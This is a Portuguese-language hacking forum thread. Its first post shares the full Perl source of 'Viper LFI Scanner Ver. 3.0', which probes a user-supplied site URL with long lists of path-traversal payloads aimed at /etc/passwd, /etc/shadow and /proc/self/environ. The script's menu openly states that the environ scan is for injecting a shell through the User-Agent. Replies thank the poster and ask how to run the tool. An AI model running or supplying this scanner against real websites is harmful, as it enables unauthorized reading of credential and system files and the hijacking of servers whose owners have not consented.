Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Viper LFI Scanner Ver. 3.0

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Scanner Viper LFI Scanner Ver. 3.0

    SCAN LFI em PERL

    Código:
    .
    #!/usr/bin/perl
    #
    #				////////////////////////////////////
    #					Viper LFI Scanner Ver. 3.0
    #				////////////////////////////////////
    #
    #	Title : Viper Lfi Scanner Ver. 3.0
    #	Author: Bl4ck.Viper
    #	From : Azarbycan
    #	Date : 2010/08/27
    #	Category : Scanner
    #	Home : www.Skote-vahshat.com
    #	Emails : Bl4ck.Viper@Yahoo.com , Bl4ck.Viper@Hotmail.com , Bl4ck.Viper@Gmail.com
    #	
    #
    #	Description :Log , Environ , Passwd File Scanner
    #					           
    #	
    #*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
     
        use HTTP::Request;
        use LWP::UserAgent;
    system ("cls");
    print "\t\t/////////////////////////////////////////////////\n";    
    print "\t\t_________________________________________________\n";
    print "\t\t\t Viper LFI Scanner Ver. 3.0\n";
    print "\t\t\t Coded By Bl4ck.Viper\n";
    print "\t\t\t Made In Azarbycan\n";
    print "\t\t\t Version In English\n";
    print "\t\t_________________________________________________\n";
    print "\n\n";
    sleep (1);
    print "\t\t\t\t WELCOME\n";
    print "\n\n";
    menu:;
    print "\tMenu:\n";
    print "\t ID[1]=>Passwd,Log";
    print "\t[Scan Files Of /etc/ Directory]\n";
    print "\t ID[2]=>Environ";
    print "\t\t[Scan Environ File For Inject Shell By U-Agent]\n";
    print"\n";
    print "\t\t Select ID For Start Scanner :";
    $menu = <>;
    if ($menu =~ /1/){
    	goto lfi;
    	}
    	if ($menu =~ /2/){
    		goto env;
    	}
    	else {
    		print"\n\n";
    		print "\t\tUnknow Command\n";
    		goto menu;
    	};
     
     
    lfi:;
        print "\n\n";
        print "\t\t\tWelcome To /etc/ Section\n\n";
        print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
        print "\t Target :";
        $host=<STDIN>;
        chomp($host);
        if($host !~ /http:\/\//) { $host = "http://$host"; };
     
    print "\n\n";
    print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
    print "\n\n";
    @lfi = ('../etc/passwd',
    '../../etc/passwd',
    '../../../etc/passwd',
    '../../../../etc/passwd',
    '../../../../../etc/passwd',
    '../../../../../../etc/passwd',
    '../../../../../../../etc/passwd',
    '../../../../../../../../etc/passwd',
    '../../../../../../../../../etc/passwd',
    '../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../../../../etc/passwd',
    '../../../../../../../../../../../../../../../../etc/passwd',
    '../../etc/passwd%00',
    '../../../etc/passwd%00',
    '../../../../etc/passwd%00',
    '../../../../../etc/passwd%00',
    '../../../../../../etc/passwd%00',
    '../../../../../../../etc/passwd%00',
    '../../../../../../../../etc/passwd%00',
    '../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../../../../../etc/passwd%00',
    '../../../../../../../../../../../../../../../../etc/passwd%00',
    '../etc/shadow',
    '../../etc/shadow',
    '../../../etc/shadow',
    '../../../../etc/shadow',
    '../../../../../etc/shadow',
    '../../../../../../etc/shadow',
    '../../../../../../../etc/shadow',
    '../../../../../../../../etc/shadow',
    '../../../../../../../../../etc/shadow',
    '../../../../../../../../../../etc/shadow',
    '../../../../../../../../../../../etc/shadow',
    '../../../../../../../../../../../../etc/shadow',
    '../../../../../../../../../../../../../etc/shadow',
    '../../../../../../../../../../../../../../etc/shadow',
    '../etc/shadow%00',
    '../../etc/shadow%00',
    '../../../etc/shadow%00',
    '../../../../etc/shadow%00',
    '../../../../../etc/shadow%00',
    '../../../../../../etc/shadow%00',
    '../../../../../../../etc/shadow%00',
    '../../../../../../../../etc/shadow%00',
    '../../../../../../../../../etc/shadow%00',
    '../../../../../../../../../../etc/shadow%00',
    '../../../../../../../../../../../etc/shadow%00',
    '../../../../../../../../../../../../etc/shadow%00',
    '../../../../../../../../../../../../../etc/shadow%00',
    '../../../../../../../../../../../../../../etc/shadow%00',
    '../etc/group',
    '../../etc/group',
    '../../../etc/group',
    '../../../../etc/group',
    '../../../../../etc/group',
    '../../../../../../etc/group',
    '../../../../../../../etc/group',
    '../../../../../../../../etc/group',
    '../../../../../../../../../etc/group',
    '../../../../../../../../../../etc/group',
    '../../../../../../../../../../../etc/group',
    '../../../../../../../../../../../../etc/group',
    '../../../../../../../../../../../../../etc/group',
    '../../../../../../../../../../../../../../etc/group',
    '../etc/group%00',
    '../../etc/group%00',
    '../../../etc/group%00',
    '../../../../etc/group%00',
    '../../../../../etc/group%00',
    '../../../../../../etc/group%00',
    '../../../../../../../etc/group%00',
    '../../../../../../../../etc/group%00',
    '../../../../../../../../../etc/group%00',
    '../../../../../../../../../../etc/group%00',
    '../../../../../../../../../../../etc/group%00',
    '../../../../../../../../../../../../etc/group%00',
    '../../../../../../../../../../../../../etc/group%00',
    '../../../../../../../../../../../../../../etc/group%00',
    '../etc/security/group',
    '../../etc/security/group',
    '../../../etc/security/group',
    '../../../../etc/security/group',
    '../../../../../etc/security/group',
    '../../../../../../etc/security/group',
    '../../../../../../../etc/security/group',
    '../../../../../../../../etc/security/group',
    '../../../../../../../../../etc/security/group',
    '../../../../../../../../../../etc/security/group',
    '../../../../../../../../../../../etc/security/group',
    '../etc/security/group%00',
    '../../etc/security/group%00',
    '../../../etc/security/group%00',
    '../../../../etc/security/group%00',
    '../../../../../etc/security/group%00',
    '../../../../../../etc/security/group%00',
    '../../../../../../../etc/security/group%00',
    '../../../../../../../../etc/security/group%00',
    '../../../../../../../../../etc/security/group%00',
    '../../../../../../../../../../etc/security/group%00',
    '../../../../../../../../../../../etc/security/group%00',
    '../etc/security/passwd',
    '../../etc/security/passwd',
    '../../../etc/security/passwd',
    '../../../../etc/security/passwd',
    '../../../../../etc/security/passwd',
    '../../../../../../etc/security/passwd',
    '../../../../../../../etc/security/passwd',
    '../../../../../../../../etc/security/passwd',
    '../../../../../../../../../etc/security/passwd',
    '../../../../../../../../../../etc/security/passwd',
    '../../../../../../../../../../../etc/security/passwd',
    '../../../../../../../../../../../../etc/security/passwd',
    '../../../../../../../../../../../../../etc/security/passwd',
    '../../../../../../../../../../../../../../etc/security/passwd',
    '../etc/security/passwd%00',
    '../../etc/security/passwd%00',
    '../../../etc/security/passwd%00',
    '../../../../etc/security/passwd%00',
    '../../../../../etc/security/passwd%00',
    '../../../../../../etc/security/passwd%00',
    '../../../../../../../etc/security/passwd%00',
    '../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../../../../../etc/security/passwd%00',
    '../../../../../../../../../../../../../../etc/security/passwd%00',
    '../etc/security/user',
    '../../etc/security/user',
    '../../../etc/security/user',
    '../../../../etc/security/user',
    '../../../../../etc/security/user',
    '../../../../../../etc/security/user',
    '../../../../../../../etc/security/user',
    '../../../../../../../../etc/security/user',
    '../../../../../../../../../etc/security/user',
    '../../../../../../../../../../etc/security/user',
    '../../../../../../../../../../../etc/security/user',
    '../../../../../../../../../../../../etc/security/user',
    '../../../../../../../../../../../../../etc/security/user',
    '../etc/security/user%00',
    '../../etc/security/user%00',
    '../../../etc/security/user%00',
    '../../../../etc/security/user%00',
    '../../../../../etc/security/user%00',
    '../../../../../../etc/security/user%00',
    '../../../../../../../etc/security/user%00',
    '../../../../../../../../etc/security/user%00',
    '../../../../../../../../../etc/security/user%00',
    '../../../../../../../../../../etc/security/user%00',
    '../../../../../../../../../../../etc/security/user%00',
    '../../../../../../../../../../../../etc/security/user%00',
    '../../../../../../../../../../../../../etc/security/user%00');
     
     
    foreach $scan(@lfi){
     
    $url = $host.$scan;
    $request = HTTP::Request->new(GET=>$url);
    $useragent = LWP::UserAgent->new();
     
    $response = $useragent->request($request);
    if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerability;}
    else { $msg = "Not Found";}
    print "$scan..........[$msg]\n";
    }
    env:;
        print "\n\n";
        print "\t\t\tWelcom To Environ Section\n\n";
        print "\t Insert Target (ex: http://www.site.com/index.php?page=)\n";
        print "\t Target :";
        $host=<STDIN>;
        chomp($host);
        if($host !~ /http:\/\//) { $host = "http://$host"; };
     
    print "\n\n";
    print "\t\t*-*-*-*-*-* WORKING IN PROGRESS *-*-*-*-*-*\n";
    print "\n\n";
     
    @env = ('../proc/self/environ',
    '../../proc/self/environ',
    '../../../proc/self/environ',
    '../../../../proc/self/environ',
    '../../../../../proc/self/environ',
    '../../../../../../proc/self/environ',
    '../../../../../../../proc/self/environ',
    '../../../../../../../../proc/self/environ',
    '../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../../../../proc/self/environ',
    '../../../../../../../../../../../../../../proc/self/environ',
    '../proc/self/environ%00',
    '../../proc/self/environ%00',
    '../../../proc/self/environ%00',
    '../../../../proc/self/environ%00',
    '../../../../../proc/self/environ%00',
    '../../../../../../proc/self/environ%00',
    '../../../../../../../proc/self/environ%00',
    '../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../../../../proc/self/environ%00',
    '../../../../../../../../../../../../../../proc/self/environ%00');
     
    foreach $scan_env(@env){
     
    $url = $host.$scan_env;
    $request = HTTP::Request->new(GET=>$url);
    $useragent = LWP::UserAgent->new();
     
    $response = $useragent->request($request);
    if ($response->is_success && $response->content =~ /HTTP_ACCEPT/ && $response->content =~ /HTTP_HOST/) { $msg = Vulnerability;}
    else { $msg = "Not Found";}
    print "$scan_env..........[$msg]\n";
    }
     
     
    # Bl4ck.Viper Turkish Hacker
    # Copyright 2010 Black Viper
    Autor: Bl4ck.Viper
    sigpic




  • Font Size
    #2
    Perl é bem estranho. rs
    Quando puder vou ver se tiro um tempinho para estudar apesar de não ser uma linguagem que eu QUEEEEIRA aprender...
    De qualquer forma source é sempre bom, não importa a linguagem.

    Obrigado por compartilhar.

    Shalom!
    sigpic
    Eis que estou à porta, e bato; se alguém ouvir a minha voz, e abrir a porta,
    entrarei em sua casa, e com ele cearei, e ele comigo. (Apocalipse 3:20)

    https://twitter.com/jackads
    http://www.facebook.com/jackson.beneteferreira

    Comment


    • Font Size
      #3
      gostaria de saber se este scanner serve pra joga como boot no mirc para pega vull rfi

      Comment


      • Font Size
        #4
        beybao não posso te garantir!
        sigpic



        Comment


        • Font Size
          #5
          Não beybao, não serve para mirc. Você tem que rodar no proprio pc ou shell.
          Abraço




          "Antes de conseguir você tem que acreditar."

          Comment


          • Font Size
            #6
            cara só joga na vul e exeuta somente isso ? sou meio novo em scans

            Comment

            X
            Working...
            X